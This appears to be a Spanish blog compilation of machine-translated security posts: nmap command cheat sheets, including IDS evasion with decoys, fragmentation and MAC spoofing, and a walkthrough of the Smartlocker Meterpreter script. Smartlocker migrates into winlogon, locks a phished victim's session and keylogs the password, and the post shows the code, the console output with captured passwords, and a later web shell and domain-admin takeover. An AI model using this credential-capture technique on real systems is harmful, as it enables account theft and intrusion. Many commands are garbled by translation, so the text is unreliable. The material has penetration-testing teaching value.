nmap 192.168 0,1 0,1
# # Escanear un nombre de host # # #
nmap server1.cyberciti.biz
# # Escanear un nombre de host con ms info # # #
nmap-v server1.cyberciti.biz
Salidas de muestra:

# 2: Escanear varias direcciones IP o subred (IPv4)


nmap 192.168.1.1 192.168.1.2 192.168.1.3
# # Trabaja con la misma subred 192.168.1.0/24 es decir,
nmap 192.168.1.1,2,3

Puede escanear un rango de direcciones IP tambin:


nmap 192.168.1.1-20
Puede escanear un rango de direcciones IP utilizando un comodn:
nmap 192.168.1. *
Por ltimo, permite escanear una subred completa:
192.168.1.0/24 nmap

# 3: Lea la lista de hosts / redes desde un archivo (IPv4)


La IL-opcin le permite leer la lista de sistemas de destino mediante un archivo de texto. Esto es
til para analizar un gran nmero de hosts / redes. Cree un archivo de texto como sigue:
cat > /tmp/test.txt
Salidas de muestra:
server1.cyberciti.biz
192.168.1.0/24
192.168.1.1/24
10.1.2.3
localhost
La sintaxis es la siguiente:
nmap-iL / tmp / prueba.txt

# 4: Exclusin de hosts / redes (IPv4)


Al escanear un gran nmero de hosts / redes se pueden excluir los hosts de una exploracin:
nmap 192.168.1.0/24 - exclude 192.168.1.5
nmap 192.168.1.0/24 - exclude 192.168.1.5,192.168.1.254
O Excluir lista desde un archivo llamado / tmp / exclude.txt
nmap-iL / tmp / scanlist.txt - excludefile / tmp / exclude.txt

# 5: Encienda el script de sistema operativo y versin de


escaneo de deteccin (IPv4)
nmap-A 192.168.1.254
nmap-v-A 192.168.1.1
nmap-A-iL / tmp / scanlist.txt

# 6: Para saber si un host / red estn protegidos por un


cortafuegos
nmap-sA 192.168.1.254
nmap-sA server1.cyberciti.biz

# 7: Escanear un host si est protegido por el firewall


nmap-PN 192.168.1.1
nmap-PN server1.cyberciti.biz

# 8: Escanear un host de IPv6 / direccin


La opcin -6 habilitar el anlisis de IPv6. La sintaxis es la siguiente:
nmap -6 IPv6-Address-aqu
nmap -6 server1.cyberciti.biz
nmap -6 2607: f0d0: 1002:51 :: 4
nmap-v A -6 2607: f0d0: 1002:51 :: 4

# 9: Escanear una red y averiguar qu servidores y


dispositivos estn en marcha
Esto se conoce como anfitrin descubrimiento o exploracin de ping:
nmap-sP 192.168.1.0/24
Salidas de muestra:
Host 192.168.1.1 es hacia arriba (0.00035s latencia).
Direccin MAC: BC: AE: C5: C3: 16:93 (Desconocido)
Host 192.168.1.2 es hacia arriba (0.0038s latencia).

Direccin MAC: 74:44:01:40:57: FB (Desconocido)


Host 192.168.1.5 est arriba.
Host nas03 (192.168.1.12) es ms (0.0091s latencia).
Direccin MAC: 00:11:32:11:15: FC (Synology Incorporated)
Nmap hecho: 256 direcciones IP de hosts (4 ms) escaneada en 2,80 segundos

# 10: Cmo puedo realizar un anlisis rpido?


nmap-F 192.168.1.1

# 11: Muestra la razn, un puerto est en un estado


particular
nmap - razn 192.168.1.1
nmap - server1.cyberciti.biz razn

# 12 Mostrar nicamente los puertos abiertos (o


posiblemente abierto):
nmap - open 192.168.1.1
nmap - abierto server1.cyberciti.biz

# 13: Muestra todos los paquetes enviados y recibidos


nmap - packet-trace 192.168.1.1
nmap - packet-trace server1.cyberciti.biz

14 #: show interfaces de host y rutas


Esto es til para la depuracin ( comando ip o comando route o comando netstat como salida
usando nmap)
nmap - iflist
Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 02: 01 EST
INTERFACES ************************ ************************
DEV (SHORT) IP / mscara de tipo UP MAC
lo (lo) 127,0 0,0 0,1 / 8 hasta loopback
eth0 (eth0) 192.168 0,1 0,5 / 24 ethernet hasta B8: AC: 6F: 65: 31: E5
vmnet1 (vmnet1) 192.168 0.121 0,1 / 24 ethernet hasta 00: 50: 56: C0: 00: 01
vmnet8 (vmnet8) 192.168 0.179 0,1 / 24 Ethernet hasta 00: 50: 56: C0: 00: 08
ppp0 (ppp0) 10,1 0,19 0,69 / 32 hasta point2point
************************** RUTAS *********************** ***
DST / MASK DEV PASARELA

10,0 .31 .178 / 32 ppp0


209,133 .67 .35 / 32 eth0 192.168 0,1 0,2
192.168 0,1 0,0 / 0 eth0
192.168 0.121 0,0 / 0 vmnet1
192.168 0.179 0,0 / 0 vmnet8
169.254 0,0 0,0 / 0 eth0
10,0 0,0 0,0 / 0 ppp0
0,0 0,0 0,0 / 0 eth0 192.168 0,1 0,2
0,0 0,0 0,0 / 0 eth0 192.168 0,1 0,2

# 15: Cmo puedo escanear puertos especficos?


mapa-p [puerto] hostName
# # Escanear el puerto 80
nmap-p 80 192.168 0,1 0,1
# # Escanear el puerto TCP 80
nmap-p T: 80 192.168 0,1 0,1
# # Scan UDP puerto 53
nmap-p U: 53 192.168 0,1 0,1
# # Escanear dos puertos # #
nmap-p 80, 443 192.168 0,1 0,1
# # Escanea rangos de puertos # #
nmap-p 80 -200 192.168 0,1 0,1
# # Combinar todas las opciones # #
nmap-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 192.168 0,1 0,1
nmap-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 server1.cyberciti.biz
nmap-v-sU-sT-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 192.168 0,1 0.254
# # Analizar todos los puertos con comodn * # #
nmap-p "*" 192.168 0,1 0,1
# # Escanear puertos principales, es decir $ escanear puertos numricos ms comunes # #
nmap - TOP-puertos 5 192.168 0,1 0,1
nmap - top-ports 10 192.168 0,1 0,1

Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 01: 23 EST
Puertos de inters sobre 192.168 0,1 0,1:
PORT STATE SERVICE
21 / tcp cerrado ftp
22 / tcp abierto ssh
23 / tcp telnet cerrado
25 / tcp smtp cerrada
80 / tcp abiertos http
110 / tcp cerrado pop3
139 / tcp cerrado netbios-ssn

443 / tcp cerrado https


445 / tcp cerrado microsoft-ds
3389 / tcp cerrado ms plazo-serv
Direccin MAC: BC: AE: C5: C3: 16: 93 (Desconocido)
Nmap hecho: 1 direccin IP (1 husped up) escaneada en 0,51 segundos

# 16: La forma ms rpida para escanear todos los


dispositivos / equipos para puertos abiertos a la vez
nmap-T5 192.168.1.0/24

# 17: Cmo puedo detectar el sistema operativo


remoto?
Puede identificar algunas aplicaciones y el sistema operativo host remoto utilizando la opcinO:
nmap-O 192.168 0,1 0,1
nmap-O - osscan-Supongo 192.168 0,1 0,1
nmap-v-O - osscan-Supongo 192.168 0,1 0,1
Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 11/27/2012 01:29 IST
NSE: Cargado 0 secuencias de comandos para la exploracin.
Inicio de ARP Ping Scan a las 01:29
Escaneo 192.168.1.1 [1 puerto]
Completado ARP Ping Scan a las 01:29, 0.01s transcurrido (1 hosts totales)
Iniciar paralelo resolucin DNS de un host. a las 01:29
Completado resolucin DNS en paralelo de un host. a las 01:29, 0.22s transcurrido
Iniciar SYN Scan sigilo a las 01:29
Escaneo de puertos 192.168.1.1 [1000]
Descubierto 80/tcp puerto abierto en 192.168.1.1
Descubierto 22/tcp puerto abierto en 192.168.1.1
Completado SYN Scan sigilo a las 01:29, 0.16s transcurrido (1000 puertos en total)
Inicio de deteccin de sistema operativo (prueba n 1) en contra de 192.168.1.1
Intentando de nuevo OS deteccin (prueba # 2) contra 192.168.1.1
Intentando de nuevo OS deteccin (prueba n 3) en contra de 192.168.1.1
Intentando de nuevo OS deteccin (prueba n 4) contra 192.168.1.1
Intentando de nuevo OS deteccin (prueba n 5) contra 192.168.1.1
Host 192.168.1.1 es hacia arriba (0.00049s latencia).
Puertos de inters sobre 192.168.1.1:
No se muestra: 998 puertos cerrados
PORT STATE SERVICE
Ssh 22/tcp abierto
80/tcp abierto http
Direccin MAC: BC: AE: C5: C3: 16:93 (Desconocido)
Tipo de dispositivo: WAP | Aplicaciones generales | Router | Imprimir | router de banda ancha
Funcionamiento (slo una suposicin): Linksys Linux 2.4.X (95%), Linux 2.4.X | 2.6.X (94%),
Mikrotik RouterOS 3.x (92%), Lexmark Embedded (90%), Enterasys embedded (89 %), D-Link
Linux 2.4.X (89%), Linux 2.4.X Netgear (89%)
Agresivo conjeturas SO: OpenWrt White Russian 0,9 (Linux 4.2.30) (95%), OpenWrt 0,9 a 7,09
(Linux 2.4.30 a 2.4.34) (94%), OpenWrt Kamikaze 7,09 (Linux 6.2.22) (94% ), Linux 2.4.212.4.31 (probablemente incrustado) (92%), Linux 2.6.15-2.6.23 (embedded) (92%), Linux

2.6.15-2.6.24 (92%), Mikrotik RouterOS 3.0beta5 (92%), Mikrotik RouterOS 3.17 (92%), Linux
2.6.24 (91%), Linux 2.6.22 (90%)
No hay coincidencias exactas para el host del sistema operativo (si usted sabe qu sistema
operativo se est ejecutando en ella, ver [Tienes que estar registrado y conectado para ver este
vnculo]
TCP / IP de huella digital:
OS: SCAN (V = 5,00 D = 11% / 27% = 22% OT CT = 1% CU = 30609% PV = Y% DS = 1% G
= Y% m% = BCAEC5 TM = 50B3CA
OS:% P = 4B x86_64-unknown-linux-gnu) SEC (SP = C8% GCD = 1% ISR = CB% TI = Z% CI
= Z% II = I% TS = 7
OS
OPS (O1 = M2300ST11NW2% O2 = O3 M2300ST11NW2% = M2300NNT11NW2% O4 O5
= M2300ST11NW2%
OS: = M2300ST11NW2% O6 = M2300ST11) WIN (W1 = 45E8% W2 = 45E8% W3 = 45E8% W4
W5 = 45E8% = 45E8% W
OS: 6 = 45E8) REC (R = Y% DF = Y% T = 40% W = 4600% O = CC = M2300NNSNW2% N% =
Q) T1 (R = Y% DF = Y% T = 40% S
OS: =% S A = S + F% = EN% RD = 0% Q =) T2 (R = N) T3 (R = N) T4 (R = Y% DF = Y% T =
40% W = 0% S = A% A% = Z F = R% S% = R
OS: D = 0% Q =) T5 (R = Y% DF = Y% T = 40% W = 0% S = Z% A = S + F% = AR% O =%
RD = 0% Q =) T6 (R = Y% DF = Y% T = 40% W =
OS: 0% S = A% A% = Z = F R% S% = RD = 0% = Q) T7 (R = N) U1 (R = Y% DF = N% T =
40% IPL = 164% UN = 0% =% RIPL G RID
OS: = G = G RIPCK%%% RUCK = G = G RUD) IE (R = Y% DFI = N% T = CD = 40% S)
Uptime conjetura: 12,990 das (desde mi 14 de noviembre 01:44:40 2012)
Distancia de red: 1 salto
Prediccin de Secuencia TCP: Dificultad = 200 (Buena suerte!)
IP ID Generacin de secuencia: Todo ceros
Leer archivos de datos de: / usr / share / nmap
OS deteccin realizada. Por favor reporte cualquier resultado incorrecto en [Tienes que
estar registrado y conectado para ver este vnculo]
Nmap hecho: 1 direccin IP (1 husped up) escaneada en 12,38 segundos
Paquetes enviados: Raw 1126 (53.832KB) | Rcvd: 1066 (46.100KB)
Vase tambin: Toma de huellas dactilares de un servidor web y un servidor DNS herramientas
de lnea de comandos para ms informacin.

# 18: Cmo puedo detectar servicios remotos


(servidor / daemon) nmeros de versin?
nmap-sV 192.168.1.1
Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 11/27/2012 01:34 IST
Puertos de inters sobre 192.168.1.1:
No se muestra: 998 puertos cerrados
ESTADO DEL PUERTO DE SERVICIO VERSION
22/tcp abierto ssh sshd Dropbear 0,52 (protocolo 2.0)
80/tcp abierto http?
Un servicio reconocido a pesar de los datos que regresan.

# 19: Escanear un host que utiliza TCP ACK (PA) y TCP


Syn (PS) de ping

Si el firewall est bloqueando estndar pings ICMP, pruebe los mtodos siguientes
descubrimiento de acogida:
nmap-PS 192.168.1.1
nmap-PS 80,21,443 192.168.1.1
nmap-PA 192.168.1.1
nmap-PA 80,21,200-512 192.168.1.1

# 20: Escanear un host con mesa de ping IP


nmap-PO 192.168.1.1

# 21: Escanear un host que utiliza UDP mesa de ping


Este anlisis no pasa por firewalls y filtros de pantalla que slo TCP:
nmap-PU 192.168.1.1
nmap-PU 2000.2001 192.168.1.1

# 22: Descubre los ms utilizados los puertos TCP que


utilizan TCP SYN Scan
# # # Sigiloso escanear # # #
nmap-sS 192.168 0,1 0,1
# # # Conoc las ms comunes que utilizan los puertos TCP TCP connect scan (aviso: no hay
exploracin sigilo)
# # # OS Fingerprinting # # #
nmap-sT 192.168 0,1 0,1
# # # Conoc las ms comunes que utilizan los puertos TCP scan TCP ACK
nmap-sA 192.168 0,1 0,1
# # # Conoc las ms comunes que utilizan los puertos TCP TCP Window scan
nmap-sW 192.168 0,1 0,1
# # # Conoc las ms comunes que utilizan los puertos TCP TCP Maimon scan
nmap-sM 192.168 0,1 0,1

# 23: Escanear un host para servicios UDP (UDP scan)


Mayora de los servicios populares de Internet se extienden sobre el protocolo TCP. DNS, SNMP y
DHCP son tres de los servicios UDP ms comunes. Utilice la sintaxis siguiente para averiguar los
servicios UDP:
nmap-sU nas03
nmap-sU 192.168.1.1
Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 00: 52 EST
Estadsticas: 0: 05: 29 transcurrido; 0 anfitriones completado (1 arriba), 1 experimentando UDP
Scan
UDP Scan Tiempo: Acerca de 32,49% hecho, ETC: 01:09 (0:11:26 restante)

Puertos de inters sobre nas03 (192,168 .1 .12):


No se muestra: 995 puertos cerrados
PORT STATE SERVICE
111 / udp abierto | filtrado rpcbind
123 / udp abierto | filtrado ntp
161 / udp abierto | filtrado snmp
2049 / udp abierto | filtrado nfs
5353 / udp abierto | filtrado zeroconf
Direccin MAC: 00: 11: 32: 11: 15: FC (Synology Incorporated)
Nmap hecho: 1 direccin IP (1 husped up) escaneada en 1099,55 segundos

# 24: Analizar en busca de protocolo IP


Este tipo de anlisis permite determinar qu protocolos IP (TCP, ICMP, IGMP, etc) son
compatibles con los equipos de destino:
nmap-sO 192.168.1.1

# 25: Digitalizar un firewall para la debilidad en la


seguridad
Los siguientes tipos de exploracin explotar una escapatoria sutil en el TCP y bueno para probar
la seguridad de los ataques ms comunes:
# # TCP Null Scan para engaar a un servidor de seguridad para generar una respuesta # #
# # No establece ningn bit (encabezado TCP bandera es 0) # #
nmap-sN 192.168 0,1 0.254
# # TCP Fin scan para comprobar firewall # #
# # Establece slo el bit FIN TCP # #
nmap-sF 192.168 0,1 0.254
# # TCP Xmas escaneado para comprobar firewall # #
# # Establece el FIN, PSH, URG y banderas, encendiendo el paquete como un rbol de Navidad
##
nmap-sX 192.168 0,1 0.254

Vea cmo bloquear Navidad packkets, syn inundaciones y otros ataques conman con iptables.

# 26: Digitalizar un servidor de seguridad de los


fragmentos de paquetes
La opcin-f hace que la exploracin solicitada (incluyendo las exploraciones ping) a utilizar
pequeos paquetes IP fragmentados. La idea es dividir la cabecera TCP a travs de
varios paquetes para que sea ms difcil para los filtros de paquetes, sistemas de deteccin de
intrusos y otras molestias para detectar lo que est haciendo.
nmap-f 192.168.1.1
nmap-f fw2.nixcraft.net.in
nmap-f 15 fw2.nixcraft.net.in
# # Establece el tamao de su propia compensacin con la opcin - mtu # #
nmap - mtu 32 192.168.1.1

# 27: Capa de un anlisis con seuelos


La opcin-D que aparecen al host remoto que el host (s) se especifica como seuelos a escanear
la red de destino tambin . As, sus IDS puede informar escaneos de puertos 5-10 de direcciones
IP nicas, pero no sabrn qu IP se escanearlos y que eran seuelos inocentes:
nmap-n-Ddecoy-IP1, IP2-seuelo, su-propio-ip, seuelo-IP3, IP4-seuelo a distanciahost-ip
nmap-n-D192.168.1.5, 10.5.1.2,172.1.2.4,3.4.2.1 192.168.1.5

# 28: Digitalizar un firewall para la falsificacin de


direcciones MAC
# # # Spoof su direccin MAC # #
nmap - spoof-mac MAC-ADDRESS-HERE 192.168 0,1 0,1
# # # Aadir otra opcin # # #
nmap-v-sT-PN - spoof-mac MAC-ADDRESS-HERE 192.168 0,1 0,1

# # # Usar una direccin MAC aleatoria # # #


# # # El nmero 0, significa nmap elige una direccin MAC completamente al azar # # #
nmap-v-sT-PN - spoof-mac 0 192.168 0,1 0,1

# 29: Cmo puedo guardar la salida en un archivo de


texto?
La sintaxis es la siguiente:
nmap 192.168.1.1> output.txt
nmap-oN / ruta / al / archivo 192.168.1.1
nmap-oN output.txt 192.168.1.1

Capturando contraseas Windows con Smartlocker


En muchas ocasiones, al realizar un test de penetracin, es bastante dificil hacer el trabajo con
cierta sutileza. Una de las formas mas eficaces de obtener contraseas de usuario en texto claro
en una mquina Windows que ya tenemos comprometida es a travs del script de Meterpreter
"keylogrecorder". Este script permite migrar hacia el proceso winlogon.exe, iniciar la captura de
pulsaciones de teclado y luego bloquear la sesin del usuario (con la opcin -k).
Cuando el usuario introduce de nuevo su contrasea para desbloquear la sesin, esta contrasea
es capturada. Este mtodo, aunque es al mismo tiempo divertido y eficaz, puede levantar
sospechas injustificadas, especialmente cuando se realiza en varias mquinas al mismo tiempo.
Una tcnica que nos puede ser mas eficiente consiste en esperar un tiempo predeterminado de
inactividad antes de bloquear la sesin Windows (tal como lo hace un protector de pantalla).
Aqu es donde viene Smartlocker. Smartlocker es un script de Meterpreter similar a keylogrecorder

(parte del cdigo se ha copiado incluso directamente de ste ltimo). Pero, a diferencia de
keylogrecorder, Smartlocker est diseado para usar un procedimiento mas sigiloso a la hora de
obtener la contrasea del usuario. A diferencia de keylogrecorder, Smartlocker se centra
nicamente en la obtencin de contraseas de winlogon.exe. Desde winlogon slo se capturan las
pulsaciones que ocurren cuando se produce un inicio de sesin en Windows, el archivo de registro
resultante
slo
contendr
el
nombre
de
usuario
y
contrasea.
Smartlocker abord tres deficiencias existentes en keylogrecorder al capturar las credenciales de
inicio de sesin.

1.
Si hay dos procesos winlogon.exe corriendo en el sistema, keylogrecorder migrar hacia
uno y luego hacia el otro, muchas veces hasta que de una u otra forma ocasiona que las sesiones
de meterpreter mueran o queden inutilizables. Aunque este es un caso aislado, es comn
encontrarlo durante las actividades de pruebas de penetracin, y es algo que ser abordado en
una prxima revisin de keylogrecorder. El otro problema ocurre cuando hay dos procesos
winlogon.exe en ejecucin y no es posible tener certeza de cual de los procesos permitir la
captura la contrasea del usuario activo.
2.
El usuario se bloquea inmediatamente al utilizar la opcin "-k". Aunque al 80% de los
usuarios finales esto no les parezca extrao, sin duda esto se destacar como un comportamiento
anormal. Esta conducta sera aun mas sospechosa si el usuario acaba de abri un archivo adjunto o
si ha buscado algo que no debera. El pedazo extra de "rareza"puede empujarlos a hacer una
llamada al departamento de soporte, lo que no es bueno.
3.
Es necesario realizar varios saltos (hoops) para identificar cuando el usuario ha iniciado
una nueva sesin en Windows. Una forma de hacerlo es a travs de capturas de pantalla, pero
esto es un proceso manual y consume demasiado tiempo. El tiempo de inactividad es tambin un
marcador imperfecto ya que es posible que el usuario pueda mover el mouse por accidente.
Smartlocker hace lo mejor para resolver estos problemas.
Caso Ejemplo:
Juan Perez es un diseador grfico que trabaja para la compaa ACME. Ha hecho un click sobre
nuestro enlace y muy amablemente nos ha permitido obtener una sesion reversa de Meterpreter.
Hemos estado mirando dentro del sistema de Juan y no encontramos nada de nuestro inters,
excepto que ahora sabemos que Juan es un usuario administrador en el servidor local MS
SharePoint. El servicio SMB no est corriendo, as que decidiremos ir detras del SharePoint y para
esta tarea necesitaremos la contrasea de Juan. Pero Juan es inteligente (o pensbamos que lo
era antes de que hiciera click en ese enlace no?), su contrasea es de 25 caracteres, por lo que es
difcil de romperla utilizando el valor hash del cach MS.
Las opciones de Smartlocker son:
Usage:
OPTIONS:
-b Frecuencia de verificacin de inactividad. El default son 30 segundos.
-h Ayuda.

-i Tiempo de inactividad a esperar antes de bloquear la sesin automticamente. El default son 300
segundos (5 minutos).
-p PID del objetivo - utilizado cuando hay mltiples sesiones Winlogon presentes.
-t Intervalo de tiempo en segundos entre cada recoleccin de pulsaciones del teclado, el default
son 30 segundos.

Un chequeo rpido para verificar si la mquina de Juan est configurada para bloquearse de forma
automtica:
?

meterpreter > getuid

Server username: ACME\jperez

meterpreter > reg queryval -k "HKCU\\Control Panel\\Desktop" -v


ScreenSaverIsSecure

Key: HKCU\Control Panel\Desktop

Name: ScreenSaverIsSecure

Type: REG_SZ

Data: 0

No lo est, por lo que vamos a utilizar la configuracin por defecto de Smartlocker, el cual utiliza
tiene un enfoque basado en el tiempo. El script verifica si la cuenta del usuario objetivo es un
administrador y si es as, busca todos los procesos winlogon que se ejecutan en la mquina de
Juan. Dado que slo hay uno, Smartlocker migra automticamente a este proceso y comienza a
recolectar
las
pulsaciones
de
teclado.
El siguiente cdigo levanta los tiempos de inactividad de la mquina de Juan de acuerdo a la
frecuencia definida en el parmetro "-b" ($heartbeat) hasta que el tiempo de inactividad actual
alcance el umbral definido por el parmetro "-i" ($idletime) y entonces fuerza el bloqueo de la
sesin de Juan:

currentidle = session.ui.idle_time

print_status("System has currently been idle for #{currentidle}


seconds")

3
4
5

while currentidle <= idletime do


print_status("Current Idletime: #{currentidle} seconds")
sleep(heartbeat)

currentidle = session.ui.idle_time

end

client.railgun.user32.LockWorkStation()

Aqu es donde, bsicamente, slo se ejecuta el cdigo del keylogger, jalando las pulsaciones del
teclado de la memoria cada $heartbeat segundos. Sin embargo, la parte divertida es que antes de
reanudar la captura de pulsaciones, realiza una verificacin para ver si el usuario ha iniciado una
nueva
sesin.
GetForegroundWindow es una llamada a una API de Windows que se utiliza a travs de railgun
que aplica a un proceso especfico, y en el caso de winlogon, es distinto de cero cada vez que el la
sesin est bloqueado o ha sido cerrada. As que una muy simple declaracin IF detiene el
keylogger automticamente cuando ya ha logrado su objetivo.

1
2
3
4
5
6
7

still_locked = client.railgun.user32.GetForegroundWindow()
['return']
if still_locked == 0
print_status("They

logged back in! Money time!")

raise 'win'\
end
sleep(keytime.to_i)
end

rescue::Exception => e

if e.message != 'win'

10

print("\n")

11

print_status("#{e.class} #{e}")

12

end

13

print_status("Stopping keystroke sniffer...")

14

session.ui.keyscan_stop

Este es el script en accin en la mquina de Juan, incluso se puede ver que el tiempo de
inactividad disminuy a 12, cuando Juan movi el mouse:

1
2
3
4
5
6

meterpreter > run smartlocker


[*] Found WINLOGON at PID:644
[*] Migrating from PID:2532
[*] Migrated to WINLOGON PID: 644 successfully
[*] System has currently been idle for 12 seconds
[*] Current Idletime: 12 seconds

[*] Current Idletime: 42 seconds

[*] Current Idletime: 73 seconds

[*] Current Idletime: 12 seconds

10

[*] Current Idletime: 42 seconds

11

[*] Current Idletime: 72 seconds

12

[*] Current Idletime: 103 seconds

13

[*] Current Idletime: 133 seconds

14
15
16
17
18
19
20
21
22
23
24
25
26

[*] Current Idletime: 164 seconds


[*] Current Idletime: 194 seconds
[*] Current Idletime: 224 seconds
[*] Current Idletime: 255 seconds
[*] Current Idletime: 285 seconds
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to
/home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt

[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt


design4life$uper12#07#76!

27

Ahora, con la contrasea de Juan podemos iniciar sesin en el servidor de SharePoint, obtener una
shell web ASP, enganchar la base de datos local MS SQL con las contraseas en texto plano
halladas en la mquina y tener un binario de Meterpreter corriendo en el servidor SharePoint [1].

[1] http://www.room362.com/blog/2010/5/7/0exploit-privilege-escalation.html

Ahora ejecutamos Smartlocker de nuevo y esta vez se identifican varias instancias de winlogon en
ejecucin, probablemente porque alguien est utilizando Remote Desktop para acceder a este
sistema. Algo para tener presente es que, para cada instancia de winlogon, 0 es siempre es la
consola base y cualquier otro nmero es algn tipo de conexin remota. El ID de sesin no es algo
que obtendremos con el comando "ps"de Meterpreter asi que debemos tener presente cual va a
ser el PID objetivo.
Nota rpida:
Cualquier sistema Windows que se encuentre configurado para permitir nicamente una "sesin"
activa tal como Windows XP, Vista o Windows 7, grabar realmente las pulsaciones del login en la
Sesin 0, sin importar que este sistema cree nuavas instancias de winlogon, a diferencia de
sistemas con servicios de terminal como Windows 2000/2003/2008, las pulsaciones son
procesadas para cada proceso winlogon respectivo a cada sesin identificada.

1
2
3
4
5

meterpreter > run smartlocker


[-] Multiple WINLOGON processes found, run manually and specify
pid
[-] Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP
session
[*] Winlogon.exe - PID: 892 - Session: 0
[*] Winlogon.exe - PID: 415 - Session: 3

Utilizando la opcin "-p" con "415" como el PID de la instancia winlogon objetivo (es un servidor
Windows 2008), ejecutamos Smartlocker de nuevo, y utilizamos la opcin "-w" para que solo sea
esperar que el usuario/administrador bloquee su sesin en lugar de bloquearla por el.

meterpreter > run smartlocker -p 415 -w

[*] WINLOGON PID:415 specified. I'm trusting you..

[*] Migrating from PID:1788

[*] Migrated to WINLOGON PID: 415 successfully

5
6

[*] Waiting for user to lock their session out


[*] Session has been locked out

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to


/home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt

9
10
11

[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...

12

meterpreter > background

13

msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt

14

[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt

15

M@sterD0mainAdm!n221

16

msf >

Ya con esto tendremos el administrador de dominio sino que tambin, obtendremos la contrasea
en texto claro.

Este
artculo
ha
sido
traducido
del
artculo
enhttp://blog.metasploit.com/2010/12/capturing-windows-logons-with.html

original

publicado

Publicado por DarkOperator en 14:22


Enviar por correo electrnicoEscribe un blogCompartir con TwitterCompartir con
FacebookCompartir en Pinterest

domingo, 5 de diciembre de 2010

10 Tips y Tricks para NMAP


Nmap (Network Mapper) es una herramienta libre y con licencia open source utilizada para
explorar la red o realizar auditoras de seguridad. Muchos sistemas y administradores de red la
encuentran til tambin para tareas tales como inventario de la red, administrar horarios de
actualizaciones y monitorear tiempos de actividad de servicios o mquinas.
1. Obtener informacin sobre puertos y deteccin del sistema operativo de un sistema o
host.
?

nmap -sS -P0 -sV -O < objetivo >

Donde < objetivo > puede ser una direccin IP simple, un nombre de mquina o una direccin de
red.
-sS exploracin TCP SYN (conocida tambin como medio-abierta, o anlisis sigiloso)
-P0 opcin que nos permite desactivar los pings ICMP.
-sV opcin que habilita la deteccin de versin del sistema operativo

-O es una bandera que intenta identificar el sistema operativo remoto


Otras opciones:
-A habilita la deteccin tanto del sistema operativo como de la versin
-v al utilizar el parmetro -v dos veces obtendremos mayor detalle del anlisis (verbosity).

2. Obtener una lista de servidores con un puerto especfico abierto


?

nmap -sT -p 80 -oG 192.168.1.* | grep open

Podemos cambiar el valor del parmetro -p para definir el nmero del puerto a buscar. Busquemos
en man nmap las diferentes formas de especificar rangos de direcciones.

3. Encontrar todas las direcciones IP activas en la red


?

nmap -sP 192.168.0.*

Existen muchas otras opciones. Esta es ligera y simple.


Otra opcin es:
?

nmap -sP 192.168.0.0/24

para direcciones especficas.

4. Ping a un rango de direcciones IP


?

nmap -sP 192.168.1.100-254

nmap accepta una amplia variedad de notaciones de direccionamiento, mltiples objetivos/rangos,


etc.

5. Encontrar direcciones IP no utilizadas en una red definida


?

nmap -T4 -sP 192.168.2.0/24 && egrep 00:00:00:00:00:00


/proc/net/arp

6. Explorar en bsqueda del virus Conficker en la red LAN

nmap -PN -T4 -p139,445 -n -v script=smb-check-vulns script-args safe=1


192.168.0.1-254

Podemos reemplazar el rango 192.168.0.1-254 con el rango de la red que queremos verificar.

7. Explorar la red en bsqueda de AP's falsos (Rogue AP's)


?

nmap -A -p1-85,113,443,8080-8100 -T4 min-hostgroup 50 max-rtt-timeout 2000 initial


wapscan 10.0.0.0/8

Esta tcnica es bastante efectiva para encontrar de forma exitosa muchos puntos de acceso Wi-Fi
falsos en redes muy grandes.

8. Utilizar un seuelo mientras se analizan los puertos para evitar ser detectados por el
sysadmin
?

nmap -sS 192.168.0.10 -D 192.168.0.2

Explora en bsqueda de puertos abiertos en la mquina (192.168.0.10) mientras establece una


direccin seuelo (192.168.0.2). Esto mostrar la direccin seuelo en lugar de nuestra direccin
real en los registros de seguridad del objetivo. La direccin seuelo debe ser de una mquina
activa. Verifiquemos los registros de seguridad del objetivo en /var/log/secure para asegurarnos
que funciona.

9. Lista de registros reversos DNS para una red especfica


?

nmap -R -sL 209.85.229.99/27 | awk {if($3==not)print($2) no PTR;else print$3 i


grep (

Este comando utiliza nmap para realizar bsquedas reversas de DNS en una red. Produce una
lista de direcciones IP con el registro PTR correspondiente para una red especfica. Podemos
ingresar la direccione de la red en notacin CDIR (Por ejemplo, /24 para una red clase C).
Podemos agregar dns-servers x.x.x.x despus de los argumentos -sL si se requiere que las
bsquedas se realicen para un servidor DNS especfico.

10. Cuantos dispositivos Linux y Windows hay en la red?

Configurando wackopicko vulnerabilidades


En la lnea 69 de debe cambiar <? Por <?php

Вам также может понравиться